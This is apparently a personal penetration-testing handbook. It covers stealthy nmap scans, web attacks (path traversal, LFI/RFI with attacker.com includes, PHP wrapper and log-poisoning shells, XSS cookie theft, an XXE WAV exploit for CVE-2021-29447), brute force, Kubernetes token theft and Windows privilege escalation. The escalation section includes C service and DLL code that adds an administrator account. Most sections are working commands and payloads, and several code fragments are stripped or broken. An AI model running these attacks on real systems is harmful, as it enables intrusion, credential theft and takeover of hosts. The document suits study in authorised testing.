3-way handshake. ``` nmap -PA -sn machina_ip/24 #TCP ACK scan, no port scan ``` ![](/files/8PpjgbOob8sJpXstQ7Ne) #### UDP Scan Contrary to TCP SYN ping, sending a UDP packet to an open port is not expected to lead to any reply. However, if we send a UDP packet to a closed UDP port, we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available. ``` nmap -PU -sn machina_ip/24 ``` ![](/files/pwfxe6JEexNc0buelt6R) ![](/files/pA0gxn9Ldttg0PfXAiZq) #### NULL Scan The null scan does not set any flag; all six flag bits are set to zero. A tcp packet with no flags set will not trigger any response when it reaches an open port. ![](/files/yBHapkhF5EfawfpWBFHp) However, we expect the target server to respond with an RST packet if the port is closed. Consequently, we can use the lack of RST response to figure out the ports that are not closed: open or filtered. ![a](/files/mYbQq4trXsl4eMOWrHcP) ```bash nmap -sN -sn victim_ip ``` #### FIN Scan Similarly, no response will be sent if the TCP port is open. Again, Nmap cannot be sure if the port is open or if a firewall is blocking the traffic related to this TCP port. ![](/files/VLw0gTN8fd8QOO6Mye2g) However, the target system should respond with an RST if the port is closed. Consequently, we will be able to know which ports are closed and use this knowledge to infer the ports that are open or filtered. It's worth noting some firewalls will 'silently' drop the traffic without sending an RST. ![](/files/Xv6sQcgVdDFMx11lQ2yC) ``` nmap -sF victim_ip ``` #### XMAS Scan The Xmas scan gets its name after Christmas tree lights. An Xmas scan sets the FIN, PSH, and URG flags simultaneously. And like the Null scan and FIN scan, if an RST packet is received, it means that the port is closed. Otherwise, it will be reported as open|filtered. ![](/files/pLDbdfianlCHsjzyhQxo) ![](/files/BqVWC0083DDb7ccTeQQk) ``` nmap -sX victim_ip ``` {% hint style="info" %} On scenario where these three scan types can be efficient is when scanning a target behind a stateless (non-stateful) firewall. A stateless firewall will check if the incoming packet has the SYN flag set to detect a connection attempt. Using a flag combination that does not match the SYN packet makes it possible to deceive the firewall and reach the system behind it. However, a stateful firewall will practically block all such crafted packets and render this kind of scan useless. {% endhint %} #### Window Scan Another similar scan is the TCP window scan. The TCP window scan is almost the same as the ACK scan; however, it examines the TCP Window field of the RST packets returned. On specific systems, this can reveal that the port is open Similarly, launching a TCP window scan against a Linux system with no firewall will not provide much information. The results of the window scan against a Linux server with no firewall usually do not give any extra information compared to the ACK scan described earlier. ![](/files/XO2hyw77F2ttLTpUhqwC) ``` nmap -sW machina_ip ``` ### Decoys & Spoofing In some network setups, you will be able to scan a target system using a spoofed IP address and even a spoofed MAC address. Such a scan is only beneficial in a situation where you can guarantee to capture the response. If you try to scan a target from some random network using a spoofed IP address, chances are you won’t have any response routed to you, and the scan results could be unreliable. Spoofing only works in a minimal number of cases where certain conditions are met. Therefore, the attacker might resort to using decoys to make it more challenging to be pinpointed. ![Spoofin](/files/6cjyLXE3R38eG55JqHKx) ![Decoyin](/files/in3m5xLoNg673TmygOtj) ``` nmap -S SPOOFED_IP MACHINE_IP #UNIQUE SPOOF nmap -D ,,RND,RND,ME #2static decoys + 2 random decoys, then our real ip ``` ### Packet Fragmentation To properly understand fragmentation, we need to look at the IP header in the figure below. It might look complicated at first, but we notice that we know most of its fields. In particular, notice the source address taking 32 bits (4 bytes) on the fourth row, while the destination address is taking another 4 bytes on the fifth row. The data that we will fragment across multiple packets is highlighted in red. To aid in the reassembly on the recipient side, IP uses the identification (ID) and fragment offset, shown on the second row of the figure below. ![](/files/HDK1PPYPgkwyUrl2zmNv) ![](/files/TOuXhUs3rUJTL1FMnCRZ) ![](/files/xC302pNu3SHURBtyoJiK) ### Zombie/Idle Scan The idle scan, or zombie scan, requires an idle system connected to the network that you can communicate with. Practically, Nmap will make each probe appear as if coming from the idle (zombie) host, then it will check for indicators whether the idle (zombie) host received any response to the spoofed probe. This is accomplished by checking the IP identification (IP ID) value in the IP header. We have the attacker system probing an idle machine, a printer. By sending a SYN/ACK, it responds with an RST packet containing its **newly incremented IP ID**. ![](/files/MQH9NplQ3cCVBN03GgWO) The attacker will send a SYN packet to the TCP port they want to check on the target machine in the next step. However, this packet will use the idle host (zombie) IP address as the source. Three scenarios would arise. In the first scenario, shown in the figure below, the TCP port is closed; therefore, the target machine responds to the idle host with an RST packet. The idle host does not respond; hence its IP ID is not incremented. ![](/files/2nuU5WDbbdI3DqMnkfkN) In the second scenario, as shown below, the TCP port is open, so the target machine responds with a SYN/ACK to the idle host (zombie). The idle host responds to this unexpected packet with an RST packet, **thus incrementing its IP ID.** ![](/files/oNJO1G6ALEeOCz38CyK8) In the third scenario, the target machine does not respond at all due to firewall rules. This lack of response will lead to the same result as with the closed port; the idle host won’t increase the IP ID. For the final step, the attacker sends another SYN/ACK to the idle host. The idle host responds with an RST packet, incrementing the IP ID by one again. The attacker needs to compare the IP ID of the RST packet received in the first step with the IP ID of the RST packet received in this third step. If the difference is 1, it means the port on the target machine was closed or filtered. However, if the difference is 2, it means that the port on the target was open. ``` nmap -sI zombie_ip victim_ip ``` {% hint style="info" %} It is worth repeating that this scan is called an idle scan because **choosing an idle host** is **indispensable** for the accuracy of the scan. If the “idle host” is busy, all the returned IP IDs would be useless. {% endhint %} ### Port Knocking Sometimes, a certain port will only open after "knocking" on some others. This script will knock on port 1111,2222,3333,4444 respectively. ```bash for PORT in 1111 2222 3333 4444; do nc -vz TARGET_IP $PORT; done; ``` ## Service Scanning You can skip the port scan and just run a full blow full port, full service, full script scan but it **will** take a while and it **will** make noises. I suggest you check manually for popular services and then run a full scan with a temporary device/proxy because you **will** get caught in some way or form(IDS,AV,FIREWALL,ETC) ```bash nmap -A --script vuln -p- -Pn target_ip -oA netscan-sv-A -T5 #Full scan, full speed nmap -p80 -Pn target_ip -oA netscan-80 -T0 #scan p80, russian submarine stealth ``` {% hint style="warning" %} Try to stay low profile when scanning. By using nmap with the *-A* option, it becomes very obvious that a scan is happening (Even with *-T0* enabled) because the requests are sus. E.g: **/nice%20ports%2C/Tri%6Eity.txt%2ebak**\ Which test the server and its aptitude to escape characters. {% endhint %} ![Spike in one specific user agent in a short amount of time](/files/-MkPFQNRXhr9zP_m_w1W) ### HTTP - Web Application #### Directory & File Enumeration You can use the following tools to run different type of scans against your target(s) * dirbuster * gobuster * dirb * wfuzz * ffuf ``` #!/bin/python3 #fuzzer for fun import requests import sys sub_list = open("subdomains.txt").read() subdoms = sub_list.splitlines() for sub in subdoms: sub_domains = f"http://{sub}.{sys.argv[1]}" try: requests.get(sub_domains) except requests.ConnectionError: pass else: print("Valid domain: ",sub_domains) ``` {% hint style="warning" %} Again, you want to keep a low profile while scanning/brute-forcing web apps. Or you **will** get blacklisted. {% endhint %} ![](/files/-MkPFXtn65T6h0g6q1aY) #### Subdomains Enumeration Fuzz subdomain with **wfuzz** or **ffuf** #### Virtual Hosts Enumeration Fuzz the **Host** header. Use **burp** and **intruder** # Web Recon Gotta love the internet ## Fuzz for backdoors and params ``` wfuzz -u 'http://example.com/index.php?FUZZ=ls' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: somecookie" ``` ## Find & Enum After [port scanning](/all-the-other-layers-recon/scanning) and finding web servers. ### Brute force directories #### Using ffuf ``` ffuf -u http://:/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -fc 404,400 -of ecsv -o ffufed ``` ## Login & Authentication brute force ### HTTP Basic Authorization Header Brute Force Basic authorization is..**basic**. A username and a password separated by a colon is then encoded in Base64. The screenshot below demonstrate the credentials admin:admin being sent through the Authorization header of an HTTP request. ![](/files/-MkXr148onxpziKddnkj) ``` hydra -l admin -P passwordlist -s -f example.com http-get /api/v1/users -vV -t 64 ``` {% hint style="info" %} **ProTip:** You can/should always test first by using a set of valid credentials and check if it returns it valid. ``` hydra -l known_user -p known_password -s -f example.com http-get /api/v1/users -vV ``` {% endhint %} ### HTTP Post form Brute Force Most of the time, authentication is made via a form posted to the web server. You can try to brute force it but watch out for **CSRF**. Try sending the same request twice using **burp.** ``` hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 31111 -f example.com http-post-f ``` # CMS Gotta love those external libraries. ## [Wordpress](/all-the-other-layers-recon/web-recon/cms/wordpress) A **lot** of websites uses WP as their CMS. # Wordpress Generic methodologies and some CVEs ## Enumeration [**WPScan**](https://github.com/wpscanteam/wpscan) is the go-to tool for scanning a Wordpress application.\ It is also relatively important to grab an API key for it also and configure your wpscan installation to use it. #### Wp-Login Brute Force ```php wpscan --url victim.ip -U admin --passwords passlist ``` ## CVE-2021-29447 / Authenticated XXE & SSRF If you have media upload rights and if your Wpscan return this vulnerability. You are in for a treat.\ It is possible to upload a [malicious WAV](/post-exploitation/data-exfiltration/steganography#audio-spectrograph-analysis) ![WPScan snippet of scan](/files/-MkJ2ut7Ula-KwZs-ST_) Using **echo** and its parameters to escape backslashes and no trail lines, use this one liner to create a malicious **WAV** file. ```bash echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > malicious.wav ``` On your box, create the malicious.dtd file and prepare yourself to upload this file to the server.\ The content of the malicious file should be like this: replace ```markup " > ``` 1. Use PHP to host malicious.dtd 2. Upload malicious.wav ```php php -S YOUR_IP:YOUR_PORT ``` As soon as you upload the malicious.wav, your php web server should request a GET request with *p* as the parameter. Said parameter should hold the requested server file, encoded as zlib(base64). ![Base64 dump of the /etc/passwd on Wordpress server](/files/-MkJE4SlSn2jPiUmwZH5) And then you can use php to decode it. ```php ``` # Path traversal & LFI/RFI ## Basic path traversal ``` http://website.com/index.php?page=../../../etc/passwd ``` ### Inside the same directory ```python http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd ``` {% hint style="info" %} **Remote File Inclusion (RFI):** The file is loaded from a remote server (RWX). In php this is **disabled** by default (**allow\_url\_include**).\ **Local File Inclusion (LFI):** The sever loads a local file (Read-only) {% endhint %} Here is a list to my gist holding a list of a bunch of paths to try. \ ## Filter Bypass ### **Encoding** Encode path traversal payload into different encoding such as double-URL, etc. ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd ``` {% hint style="info" %} Always try to encode once,twice, and thrice. Try unicode. Try harder. {% endhint %} Make sure to bypass front-end user input sanitization by using a web proxy such as **ZAProxy** or **burp.** ### **Path truncation** Bypass the append of more chars at the end of the provided string (bypass of: $\_GET\['param']."php") ``` In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/. Check if last 6 chars are passwd --> passwd/ Check if last 4 chars are ".php" --> shellcode.php/. ``` ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. #With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027) http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Always try to **start** the path **with a fake directory** (a/). **This vulnerability was corrected in PHP 5.3.** ## Remote file inclusion ``` http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` ## Wrappers ### Wrapper php\://filter #### Base64 and rot13 The part "php\://filter" is case insensitive ``` http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` #### zlib (compression) Can be chained with a **compression** wrapper for large files. ``` http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` To read the comppression data you need to decode the base64 and read the resulting data using: ```bash php -a #Starts a php console readfile('php://filter/zlib.inflate/resource=test.deflated'); ``` **NOTE: Wrappers can be chained** ### Wrapper zip\:// Upload a Zip file with a PHPShell inside and access it. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`** ### Wrapper expect:// Expect has to be activated. You can execute code using this. ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters ``` http://example.com/index.php?page=php://input POST DATA: ``` ### Wrapper phar:// A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file. {% code title="create\_phar.php" %} ```python startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` {% endcode %} And you can compile the `phar` executing the following line: ```bash php --define phar.readonly=0 create_path.php ``` A file called `test.phar` will be generated that you can use to abuse the LFI. ``` http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain, http://example.com/index.php?page=expect://ls ``` #### Wrapper Input ``` http://example.com/index.php?page=php://input POST DATA: ``` ## LFI->RCE ### Log Poisoning If the Apache server is vulnerable to LFI inside the include function you could try to access to ***/var/log/apache2/access.log***, set inside the user agent or inside a GET parameter a php shell like `` and execute code using the "c" GET parameter. Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "***quote;***", **PHP will throw an error** there and **nothing else will be executed**. This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. ``` /var/log/apache2/access.log /var/log/apache/access.log /var/log/apache2/error.log /var/log/apache/error.log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/httpd/error_log ``` {% hint style="info" %} N**ote**: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code. {% endhint %} ### Via Email Send a mail to a internal account (user\@localhost) containing `` and access to the mail ***/var/mail/USER\&cmd=whoami*** ### Via /proc/\*/fd/\* 1. Upload a lot of shells (for example : 100) 2. Include , with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too) ### Via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload If you can upload a file, just inject the shell payload in it (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf ### Via Zip fie upload Upload a ZIP file containing a PHP shell compressed and access: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Via PHP sessions Check if the website use PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into */var/lib/php5/sess\\*\[PHPSESSID]\_ files ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `` ``` login=1&user=&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\/.ssh/id\_rsa** ### Wordpress Try following payload to grab wordpress config ``` php://filter/convert.base64-encode/resource=../../../../../wp-config.php ``` ### FLASK Template Injection Use following payload as parameter ``` {{ get_user_file("/etc/passwd") }} ``` # XSS - Cross site scripting ## Stored XSS Pretty much the best. Your arbitrary, hopefully executable, code gets saved at the server end. "Infection" rate can get crazy high, crazy fast because of the deliverability. A malicious actor could craft javascript code that exfiltrate private data that is usually hidden behind logins. **Example:** Imagine being able to store XSS on Facebook via a public advertisement or a simple public post. Any users with javascript enabled(90% of users), that sees this ad or post will then execute this code. This could lead to users getting their private info leaked such as messages, pictures, addresses, getting their session hijacked, getting their account stolen, etc. ## Reflected XSS Not as bad as stored but still very dangerous. User input is reflected in the browser but not stored on the server. **Example:** Imagine making a **GET** request with a parameter **Redirect,** and crafting such url: ``` https://book.turbosec.net/somedir/somepage.php?Redirect= ``` If a javascript alert appears, the browser is executing arbitrary code. This could lead to users getting tricked into clicking a malicious link which could then trigger a custom javascript code that attempt to steal session cookies or worst. ## DOM XSS Not as bad as stored again but still. DOM XSS differ from reflected by being able to manipulate html data and having the possibility to not even reach the server and stay within the browser. Imagine making a **GET** request with a parameter **User,** and crafting such url: ``` https://book.turbosec.net/somedir/somepage.php?User=Alice# ``` Notice the correct user and then the pound sign, anything after **#** is not sent to the server. ## Get cookies POC Create a web server to handle requests, inject xss into webpage, profit ``` python -m http.server >/?c="+document.cookie> ``` # XML External Entity - XXE From modifying an XML payload controlled by us, the user, we might be able to tell the XML parser to go and grab some data that we were not supposed to have access to.
``` Jesus Boy blog post ``` ``` ]> &name; Spongebob random stuff ``` # Internal Recon Go in ## Linux yeehaw ## Windows yeehaw but different # Active Directory ## Enumeration Recon first using any port scanning tool. ### Kerberos & Smb Try to gather as much info possible. I usually start by brute forcing some users. But if we already know some creds, get to listing ``` #no user, no creds kerbrute userenum --dc DC.machine-A.local -d machine-A.local userlist.txt #with creds smbclient -L \\\\ -U user -p pass #list smbclient \\\\10.10.188.12\\Share -U user -p pass #specific share smbmap -u user -p pass -R -H -P #works better for enum sometimes smbclient \\\\\\JuicyShare -U user@domain.local #interactive ``` Then, I check if any account is active with **smbmap**, **smbclient**, or **crackmapexec**. Using crackmapexec we can also bruteforce the RIDs. ``` #if guest account is available, no pass, rid bruteforcing crackmapexec smb DC.machine-A.local -u 'guest' -p '' --rid-brute ``` ![Snippet of other users found](/files/-MknHViH_O5Zgt2jr8CL) You can then put all the (**SidTypeUser**) into a list and try to exploit Kerberos pre-authentication mechanisms and hopefully dump some hashes. ``` python impacket/GetNPUsers.py / -usersfile user.txt -no-pass -dc-ip python3 impacket/GetNPUsers.py "domain.local/User:Pass" ``` If any other user come out, that is just great, you can now maybe bruteforce a login if there is lockout or any other anti-bruteforce mechanism. \ You can also do this with crackmapexec ``` crackmapexec smb DC.machine-A.local -u 'DnsAdmins' -p passwordlist ``` #### # Post Exploitation ## [Privilege Escalation](/post-exploitation/privilege-escalation) ## [Cracking hashes](/post-exploitation/privilege-escalation/hashing-and-cracking) ## Persistence ## [Exfiltration](/post-exploitation/data-exfiltration) # Container/Sandbox Breakout Virtual inceptions ## Docker I first check the **hosts** for any potential cues of containerization and/or any other nodes on the network. You can also try running the binary **capsh**. If it exists, this can be used to print current container capabilities. ``` cat /etc/hosts #check for container id leik 8u9ru98432 capsh --print #check current unix capabilites ls -l /proc/*/ns #list proc ls -al /dev/ | grep disk #check for disks ``` ## Kubernetes Try getting secrets. ``` cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` List what you can do with this token ``` kubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 auth can-i --list ``` ### Get pods & configs ``` kubectl get pods -o yaml > backup.config \ --server="https://kube-serv:6443" \ --token='' \ --insecure-skip-tls-verify=true ``` ``` kubectl get pods \ --server="https://kube-serv:6443" \ --token='' \ --insecure-skip-tls-verify=true ``` ### Build & Deploy ``` kubectl apply -f ./evil.yaml \ --server="https://kube-server:6443" \ --token='' \ --insecure-skip-tls-verify=true ``` ### Execute command ``` kubectl exec -it attacker \ --server="https://kube-server:6443" \ --token='' \ --insecure-skip-tls-verify=true \ -- bash ``` ### Basic commands ```bash kubectl version #Get client and server version kubectl get pod kubectl get services kubectl get deployment kubectl get replicaset kubectl get secret kubectl get all kubectl get ingress kubectl get endpoints #kubectl create deployment --image= kubectl create deployment nginx-deployment --image=nginx #Access the configuration of the deployment and modify it #kubectl edit deployment kubectl edit deployment nginx-deployment #Get the logs of the pod for debbugging (the output of the docker container running) #kubectl logs kubectl logs nginx-deployment-84cd76b964 #kubectl describe pod kubectl describe pod mongo-depl-5fd6b7d4b4-kkt9q #kubectl exec -it -- bash kubectl exec -it mongo-depl-5fd6b7d4b4-kkt9q -- bash #kubectl describe service kubectl describe service mongodb-service #kubectl delete deployment kubectl delete deployment mongo-depl #Deploy from config file kubectl apply -f deployment.yml ``` # Privilege Escalation boot -> root ## Windows ![LocalPrivEsc attack tree](/files/-Mklw6F_kh8UW1jZSd8h) {% hint style="info" %} The use of SysInternals is recommended but not necessary. It can be very useful when doing pentests but not so very for very obvious reasons. A simple signature check on the file and any AV/IDS will start flip floppin.\ {% endhint %} ## PowerShell ### Download file ``` Invoke-WebRequest -OutFile peas -Uri http:///PEAS ``` ### AutoRun Search for autoruns and check if you have WRITE permissions on it.\ If you do have WRITE, simply replace it with your payload. Of course, if the software is somewhat "important", the user could then notice that something is not quite right. ``` sysinternals/autoruns64.exe sysinternals/accesschk64.exe -wvu "C:\Program Files\Autorun Program" ``` ### AlwaysInstallElevated {% hint style="info" %} Windows OS comes installed with a Windows Installer engine which is used by **MSI packages** for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users {% endhint %} Check if AlwaysInstallElevated registry key value 1. If so, simply craft a malicious .MSI package containing your payload and literally install it on the machine ``` reg query HKLM\Software\Policies\Microsoft\Windows\Installer #LocalMachine reg query HKCU\Software\Policies\Microsoft\Windows\Installer #CurrentUser ``` You can now copy the payload onto the victim's pc and run it. ``` msiexec /quiet /qn /i C:\Temp\payload.msi ``` ### Registry With **PowerShell** check for registry services ``` Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl ``` ![Example of a vulnerable entry](/files/-MkmFMtFZhXPEGwMdrtE) The following is a simple C service for windows. You can tweak it a bit to get desired results. Then you can compile it with **x86\_64-w64-mingw32-gcc** or any appropriate compiler for the current situation. ``` #include #include #define SLEEP_TIME 5000 SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE hStatus; void ServiceMain(int argc, char** argv); void ControlHandler(DWORD request); int Run() { system("cmd.exe /k net localgroup administrators user /add"); return 0; } int main() { SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = ThiccService"; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0; } void ServiceMain(int argc, char** argv) { ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); Run(); ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (hStatus, &ServiceStatus); while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { Sleep(SLEEP_TIME); } return; } void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return; default: break; } SetServiceStatus (hStatus, &ServiceStatus); return; } ``` You can now add the new service path to the registry ``` reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\payload.exe /f ``` ### Executable files Check if executable has weak or misconfigured permissions. If you have **FILE ALL ACCESS,** you can copy your payload over the service/executable and execute it. ``` sysinternals/accesschk64.exe -wvu "C:\Program Files\weakperms.exe" ``` ### Startup In a command prompt, check for startup applications. Check if **BUILTIN/Users** or any compromised user with **(F)** which means FULL permissions. If such thing occur, you can, again, overwrite said startup executable for your own payload and wait for admin (or any other user) to login. ``` icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" ``` ### DLL Hijack {% hint style="info" %} If **SafeDllSearchMode** is enabled, the search order is as follows: 1. The directory from which the application loaded. 2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory. 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. 4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. 5. The current directory. 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. If **SafeDllSearchMode** is disabled, the search order is as follows: 1. The directory from which the application loaded. 2. The current directory. 3. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory. 4. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. 5. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. {% endhint %} 7. **DLL replacement**: replace a legitimate DLL with an evil DLL. 1. **DLL PROXYING:** Keep original DLL functionalities. 8. **DLL search order hijacking**: Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL. 9. [**Phantom DLL hijacking**](/post-exploitation/privilege-escalation#find-missing-dlls): drop an evil DLL in place of a missing/non-existing DLL 10. **DLL redirection**: change the location in which the DLL is searched for, e.g. by editing the `%PATH%` environment variable, or `.exe.manifest` / `.exe.local` files to include the folder containing the evil DLL. 11. **WinSxS DLL replacement**: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often referred to as DLL [side-loading](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf). 12. **Relative path DLL Hijacking:** copy (and optionally rename) the legitimate application to a user-writeable folder, alongside the evil DLL. In the way this is used, it has similarities with (Signed) [Binary Proxy Execution](https://attack.mitre.org/techniques/T1218/). A variation of this is ‘[*bring your own LOLBIN*](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/) in which the legitimate application is brought with the evil DLL (rather than copied from the legitimate location on the victim’s machine). #### Find missing DLLs ![](/files/-MkmXrX37967ogsDxNpf) ![](/files/-MkmXyZqINfJTYvdLuKj) #### Custom Dlls ``` #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\temp\\whoami.lol"); WinExec("calc.exe", 0); //no redirect like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ### BinPath ``` sysinternals/accesschk64.exe -wuvc daclsvc ``` If you see **SERVICE\_CHANGE\_CONFIG,** you can exploit this like so ``` sc config daclsvc binpath= "net localgroup administrators user /add" sc start daclsvc ``` ### Unquoted Path A classic if you ask me.\ If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. E.g:\ *C:\Program Files\Some Folder\Service.exe* Windows will try: ``` C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` ``` sc qc unquotedsvc #specific bin wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ #List all services wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services ``` Craft a payload with msfvenom for POC ``` msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o malicious.exe ``` Now copy this payload into the unquoted path, E.G: Imagine the vulnerable service path as follow: *C:\Program Files\\**Some Folder**\Service.exe*\ You could copy your malicious payload here:\ *C:\Program Files\Service.exe* ### Password Mining * C:\Windows\Panther\Unattend.xml #### HTTP\_BASIC Memory ``` msf use auxiliary/server/capture/http_basic set uripath x run ``` On victim's machine browse to **** and dump iexplore.exe memory using taskmgr or any appropriate tool. Copy said dump to your box and run **strings** against the memory dump. You should be able to grep/find the **Authorization: Basic** header holding the base64 encoded password. ### Potatoes #### Hot potato ``` powershell.exe -nop -ep bypass Import-Module tater.ps1 Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" ``` ### KERNEL One quick and dirty way to find common vulnerabilities in the kernel is obtain a meterpreter shell and call the post exploitation module **local\_exploit\_suggester**. ## Linux Gimme the root ! ### Sudo group - PKEXEC If the user you are impersonating is a 